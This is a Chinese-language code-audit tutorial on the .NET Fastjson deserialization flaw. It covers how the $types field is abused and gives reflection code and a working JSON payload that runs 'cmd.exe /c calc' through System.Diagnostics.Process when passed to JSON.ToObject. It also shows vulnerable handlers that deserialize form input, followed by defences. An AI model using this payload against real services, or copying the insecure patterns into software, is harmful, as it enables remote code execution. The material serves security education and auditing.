.NET高级代码审计(第三课)Fastjson反序列化漏洞
字数 971 2025-08-18 11:38:08

.NET Fastjson反序列化漏洞分析与利用

一、Fastjson简介

Fastjson是一个高效的.NET JSON处理库,主要特点包括:

  • 通过反射生成大量IL代码提升性能
  • 提供快速的序列化(ToJSON)和反序列化(ToObject)方法
  • 性能优于老牌Json.Net、Stack等库

下载地址:http://www.codeproject.com/Articles/159450/fastJSON

二、Fastjson序列化机制

基本序列化方法

string json = JSON.ToJSON(obj);

序列化配置参数

通过JSONParameters可配置序列化行为:

var parameters = new JSONParameters {
    UseExtensions = true,      // 包含类型信息($types)
    SerializeNullValues = false // 不序列化null值
};
string json = JSON.ToJSON(obj, parameters);

序列化结果示例

序列化后的JSON包含:

  • $types键:存储对象的程序集全限定名
  • 成员属性名作为键
  • 成员属性值作为值

三、Fastjson反序列化漏洞

漏洞原理

当反序列化不可信的JSON数据时,攻击者可控制$types指定的类型,导致任意代码执行。

关键危险方法

// 所有ToObject重载方法都存在风险
object obj = JSON.ToObject(json);
object obj = JSON.ToObject(json, parameters);

漏洞利用条件

  1. 反序列化的JSON数据可控
  2. JSON中包含$types字段指定恶意类型
  3. 使用ToObject方法进行反序列化

四、漏洞利用步骤

1. 构造ProcessStartInfo对象

Type t3 = typeof(ProcessStartInfo);
PropertyInfo propertyName = t3.GetProperty("FileName");
PropertyInfo propertyArgs = t3.GetProperty("Arguments");

var processInfo = new ProcessStartInfo();
propertyName.SetValue(processInfo, "cmd.exe", null);
propertyArgs.SetValue(processInfo, "/c calc", null);

2. 构造Process对象

Type t2 = typeof(Process);
PropertyInfo propertyStartInfo = t2.GetProperty("StartInfo");

var process = new Process();
propertyStartInfo.SetValue(process, processInfo, null);

3. 生成恶意Payload

序列化上述对象并精简,得到类似以下Payload:

{
    "$types": {
        "System.Diagnostics.Process, System": "1",
        "System.Diagnostics.ProcessStartInfo, System": "2"
    },
    "$type": "1",
    "StartInfo": {
        "$type": "2",
        "FileName": "cmd.exe",
        "Arguments": "/c calc"
    }
}

4. 触发漏洞

string payload = "..."; // 上述恶意JSON
JSON.ToObject(payload); // 触发计算器

五、代码审计要点

危险模式识别

  1. 查找代码中所有JSON.ToObject调用
  2. 检查传入参数是否用户可控
  3. 检查是否有对$types的过滤

常见漏洞代码示例

// 不安全示例1
public class JSONSerializer {
    public object Deserialize(string json) {
        return JSON.ToObject(json);
    }
}

// 不安全示例2
var obj = JSON.ToObject(Request.Form["data"]);

六、防御措施

  1. 避免反序列化不可信数据:不要用Fastjson反序列化用户输入的JSON
  2. 使用替代方案:考虑使用Newtonsoft.Json等更安全的库
  3. 类型检查:实现自定义反序列化逻辑,严格检查$types允许的类型
  4. 输入过滤:对反序列化的JSON数据进行严格验证

七、漏洞复现演示

  1. 构造恶意JSON Payload
  2. 通过Web接口提交Payload
  3. 服务端调用ToObject反序列化
  4. 成功执行系统命令(弹出计算器)

八、总结

Fastjson反序列化漏洞利用成本低但危害大,攻击者只需提交精心构造的JSON数据即可实现RCE。开发人员应:

  • 了解反序列化安全风险
  • 避免直接反序列化用户输入
  • 及时更新到安全版本
  • 考虑使用更安全的替代方案
.NET Fastjson反序列化漏洞分析与利用 一、Fastjson简介 Fastjson是一个高效的.NET JSON处理库,主要特点包括: 通过反射生成大量IL代码提升性能 提供快速的序列化(ToJSON)和反序列化(ToObject)方法 性能优于老牌Json.Net、Stack等库 下载地址:http://www.codeproject.com/Articles/159450/fastJSON 二、Fastjson序列化机制 基本序列化方法 序列化配置参数 通过 JSONParameters 可配置序列化行为: 序列化结果示例 序列化后的JSON包含: $types 键:存储对象的程序集全限定名 成员属性名作为键 成员属性值作为值 三、Fastjson反序列化漏洞 漏洞原理 当反序列化不可信的JSON数据时,攻击者可控制 $types 指定的类型,导致任意代码执行。 关键危险方法 漏洞利用条件 反序列化的JSON数据可控 JSON中包含 $types 字段指定恶意类型 使用ToObject方法进行反序列化 四、漏洞利用步骤 1. 构造ProcessStartInfo对象 2. 构造Process对象 3. 生成恶意Payload 序列化上述对象并精简,得到类似以下Payload: 4. 触发漏洞 五、代码审计要点 危险模式识别 查找代码中所有 JSON.ToObject 调用 检查传入参数是否用户可控 检查是否有对 $types 的过滤 常见漏洞代码示例 六、防御措施 避免反序列化不可信数据 :不要用Fastjson反序列化用户输入的JSON 使用替代方案 :考虑使用Newtonsoft.Json等更安全的库 类型检查 :实现自定义反序列化逻辑,严格检查 $types 允许的类型 输入过滤 :对反序列化的JSON数据进行严格验证 七、漏洞复现演示 构造恶意JSON Payload 通过Web接口提交Payload 服务端调用 ToObject 反序列化 成功执行系统命令(弹出计算器) 八、总结 Fastjson反序列化漏洞利用成本低但危害大,攻击者只需提交精心构造的JSON数据即可实现RCE。开发人员应: 了解反序列化安全风险 避免直接反序列化用户输入 及时更新到安全版本 考虑使用更安全的替代方案